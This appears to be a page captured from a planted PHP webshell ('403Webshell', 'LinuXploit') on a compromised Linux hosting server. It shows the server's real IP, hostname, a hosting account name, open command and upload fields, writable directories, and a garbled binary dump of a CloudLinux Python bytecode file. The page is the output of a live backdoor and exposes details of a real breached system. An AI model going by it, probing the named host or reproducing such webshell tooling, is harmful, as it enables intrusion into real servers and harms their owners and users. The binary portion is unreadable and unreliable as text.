403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.223.125.111
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/lib/__pycache__/snapshot.cpython-311.pyc
�

Ѝig����ddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
mZdZdZ
ee
��ZGd�de��Zed���ZdS)	�N)�contextmanager)�List�Optionalz/var/lve/snapshotsz	.snapshotc��eZdZdZdd�Zd�Zed���Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zed���Zedd���Zed���ZdS)�Snapshotad
    This class is responsible for loading and saving snapshot files for the interval
    The files will be saved in a format of: /var/lve/snapshots/[uid]/dump_time.snapshot
    dump_time is the timestamp/integer
    The directories /var/lve/snaphosts/[uid] and the dump files itself will be owned by user
    They will not be readable by other users.
    �c�T�||_||_tjd��|_dS)Nzlib-snapshot)�
compresslevel�incident�logging�	getLogger�log)�selfrr
s   ��/builddir/build/BUILDROOT/lve-stats-4.2.11-1.el8.x86_64/opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/lib/snapshot.py�__init__zSnapshot.__init__s'��*��� ��
��$�^�4�4�����c��|d}|�J�|�|��tjtj|�����|j��}|�|��5}|�|��|j	�
d|j��ddd��n#1swxYwY|jS)N�	dump_timezSnapshot dumped to file %s)�_replace_unicode_data�zlib�compress�json�dumps�encoder
�create_file�writer�debug�name)r�data�	dump_date�json_compressed�fs     r�savez
Snapshot.save%s����%�	��$�$�$�	
�"�"�4�(�(�(��-��
�4�(8�(8�(?�(?�(A�(A�4�CU�V�V��
�
�
�i�
(�
(�	A�A�
�G�G�O�$�$�$��H�N�N�7���@�@�@�	A�	A�	A�	A�	A�	A�	A�	A�	A�	A�	A����	A�	A�	A�	A��v�
s�56B7�7B;�>B;c�\�t|t��r|�dd��S|S)Nzutf-8�replace)�
isinstance�bytes�decode)�objs r�_to_unicodezSnapshot._to_unicode2s-���c�5�!�!�	2��:�:�g�y�1�1�1��
rc	�Z�g}|�dg��D]7}|�tt|j|�������8||d<g}|�dg��D]7}|�tt|j|�������8||d<dS)N�snap_sql�	snap_http)�get�append�list�mapr*)rr�	u_queries�query�u_urls�https      rrzSnapshot._replace_unicode_data8s����	��X�X�j�"�-�-�	A�	A�E����T�#�d�&6��">�">�?�?�@�@�@�@�$��Z�����H�H�[�"�-�-�	=�	=�D��M�M�$�s�4�#3�T�:�:�;�;�<�<�<�<�"��[���rc��|���}tj�|��rtj|��SgS�N)�get_dir�os�path�isdir�listdir)r�dir_s  r�
get_file_listzSnapshot.get_file_listDs:���|�|�~�~��
�7�=�=����	$��:�d�#�#�#��	rc�T�|�|���||��S)z�
        Return ordered list of timestamps when snapshots for this use were created
        :param from_ts:
        :param to_ts:
        :return: list of timesteamps, ordered for that period
        )�snapshot_filterr>)r�from_ts�to_tss   r�get_ts_listzSnapshot.get_ts_listKs(���#�#�D�$6�$6�$8�$8�'�5�I�I�Irc
��g}|�||��D�]6}	|�|�|����}tj��sHt|jd��5|�|��}ddd��n#1swxYwYn|�|��}|�tj
|������#tttf$rZ}|j�d|�|�|����t!|����Yd}~��0d}~wwxYw|S)z�
        Get all snapshot for a period
        :param from_ts
        :param to_ts
        :return: list of snapshots, ordered by date
        �uidNzCorrupted file: %s (%s))rC�
get_file_name�
ts_to_namer9�geteuid�drop_privilegesr�read_file_contentr/r�loads�IOError�
ValueError�OSErrorr�warning�str)rrArB�result�ts�filename�content�ves        r�
get_snapshotszSnapshot.get_snapshotsUs������"�"�7�E�2�2�	�	�B�

��-�-�d�o�o�b�.A�.A�B�B���z�|�|�?�(���u�)=�>�>�C�C�"&�"8�"8��"B�"B��C�C�C�C�C�C�C�C�C�C�C����C�C�C�C��#�4�4�X�>�>�G��
�
�d�j��1�1�2�2�2�2���Z��1�
�
�
��� � �-��&�&�t���r�':�':�;�;���G�G�������������
�����
s>�AC�2B�C�B	�C�B	�AC�E�4AE	�	Ec��t|d��5}|���}ddd��n#1swxYwY	tj|��}nl#tj$rZtj||j��}t|d��5}|�|��ddd��n#1swxYwYYnwxYw|���S)N�rb�wb)	�open�readr�
decompress�errorrr
rr()rrSr"rT�compressed_contents     rrJzSnapshot.read_file_contentosB��
�(�D�
!�
!�	�Q��f�f�h�h�G�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	,��o�g�.�.�G�G���z�	,�	,�	,�!%��w��8J�!K�!K���h��%�%�
,�����*�+�+�+�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,����
,�
,�
,�
,���	,�����~�~���sA�2�6�6�A�9B<�B.�"B<�.B2	�2B<�5B2	�6B<�;B<c�Z�|�|jd|jd��S)zZ
        Load all snapshots for given incident
        :return: list of snapshots
        �incident_start_time�incident_end_time)rVr�rs r�get_incident_snapshotszSnapshot.get_incident_snapshots{s*���!�!�$�-�0E�"F��
�Vi�Hj�k�k�krc�|�tj�tt	|jd����S)NrE)r9r:�join�
SNAPSHOT_PATHrPrrbs rr8zSnapshot.get_dir�s'���w�|�|�M�3�t�}�U�/C�+D�+D�E�E�Erc�f�tj�|���|��Sr7)r9r:rer8)rrs  rrFzSnapshot.get_file_name�s ���w�|�|�D�L�L�N�N�D�1�1�1rc	�F�|���}tj�|��s�	tj|��tj|d��tj||jdd��nG#ttf$r3}|j
�d|t|����Yd}~nd}~wwxYw|�
|�|����}t|jd��5t!|d��}	tj|���d��nG#ttf$r3}|j
�d|t|����Yd}~nd}~wwxYwddd��n#1swxYwY|S)	z�
        create file, change its ownership & permissions if needed. Create directories if needed as well
        :param dump_date: int timestamp used as file name
        :return: open File object
        i�rErzUnable to create dir %s (%s)NrY�z&Unable to set file permissions %s (%s))r8r9r:�exists�makedirs�chmod�chownrrLrNrr]rPrFrGrIrZ�fchmod�fileno)rr r=�e�	file_name�file_s      rrzSnapshot.create_file�s����|�|�~�~���w�~�~�d�#�#�	M�
M���D�!�!�!����u�%�%�%����t�}�U�3�Q�7�7�7�7���W�%�
M�
M�
M�����=�t�S��V�V�L�L�L�L�L�L�L�L�����
M�����&�&�t���y�'A�'A�B�B�	�
�T�]�5�1�
2�
2�	\�	\���D�)�)�E�
\��	�%�,�,�.�.�%�0�0�0�0���W�%�
\�
\�
\�����G��TW�XY�TZ�TZ�[�[�[�[�[�[�[�[�����
\����		\�	\�	\�	\�	\�	\�	\�	\�	\�	\�	\����	\�	\�	\�	\��sT�A
B�C�)B?�?C�	F�'E�F�F�)F�=F�F�F�F�Fc�h�|���}tj|��}|�|��}|�||���}||krt	j|d���dS|D]<}tj|�|�|�������=dS)z�
        Delete old snapshots. If there are no more
        :param to_ts: up to which timestamp to remove snapshots
        :return: None
        )rBT)�
ignore_errorsN)	r8r9r<r@�shutil�rmtree�removerFrG)rrB�_dir�files�
all_snapshots�ts_to_removerRs       r�
delete_oldzSnapshot.delete_old�s����|�|�~�~���
�4� � ���,�,�U�3�3�
��+�+�E��+�?�?���L�(�(��M�$�d�3�3�3�3�3�3�"�
C�
C���	�$�,�,�T�_�_�R�-@�-@�A�A�B�B�B�B�
C�
Crc���|�t��rD|dt�}|���r 	t	|��S#t
$rYnwxYwdS�Nr)�endswith�SNAPSHOT_EXT�SNAPSHOT_EXT_LEN�isdigit�intrM)rrrRs  r�get_tszSnapshot.get_ts�sp���>�>�,�'�'�	��q�*�*�*�+�B��z�z�|�|�
���r�7�7�N��!�����D������ts�A�
A�ANc���|�d}|�tj}g}|D]C}t�|��}|�%||cxkr|krn�.|�|���Dt|��Sr~)�sys�maxsizerr�r/�sorted)ryrArBrQrSrRs      rr@zSnapshot.snapshot_filter�s����?��G��=��K�E����	"�	"�H�����*�*�B��~�'�R�"8�"8�"8�"8�5�"8�"8�"8�"8�"8��
�
�b�!�!�!���f�~�~�rc�0�t|��tzSr7)rPr�)rRs rrGzSnapshot.ts_to_name�s���2�w�w��%�%r)r)NN)�__name__�
__module__�__qualname__�__doc__rr#�staticmethodr*rr>rCrVrJrcr8rFrr|r�r@rG�rrrrsT��������5�5�5�5��������\��

#�
#�
#����J�J�J����4
 �
 �
 �l�l�l�F�F�F�2�2�2����0C�C�C�"�	�	��\�	������\���&�&��\�&�&�&rrc#�,K�tj��tj��tj��}}}t	jd��d}tjg��tj|��tj|��	dV�tj|��tj|��tj|��dS#tj|��tj|��tj|��wxYw)N�nobody�)	r9�getuid�getgid�	getgroups�pwd�getpwnam�	setgroups�setegid�seteuid)rE�old_uid�old_gid�
old_groups�gids     rrIrI�s�����#%�9�;�;��	���R�\�^�^�j�W�G�

�,�x�
 �
 ��
#�C��L������J�s�O�O�O��J�s�O�O�O�!�
����
�
�7����
�
�7����
��Z� � � � � ��	�
�7����
�
�7����
��Z� � � � ���s�C�>D)rrr9r�rur�r�
contextlibr�typingrrrfr��lenr��objectrrIr�rr�<module>r�s�����������	�	�	�	�
�
�
�
�
�
�
�
�
�
�
�
�����%�%�%�%�%�%�!�!�!�!�!�!�!�!�$�
����3�|�$�$��{&�{&�{&�{&�{&�v�{&�{&�{&�|�!�!���!�!�!r

Youez - 2016 - github.com/yon3zu
LinuXploit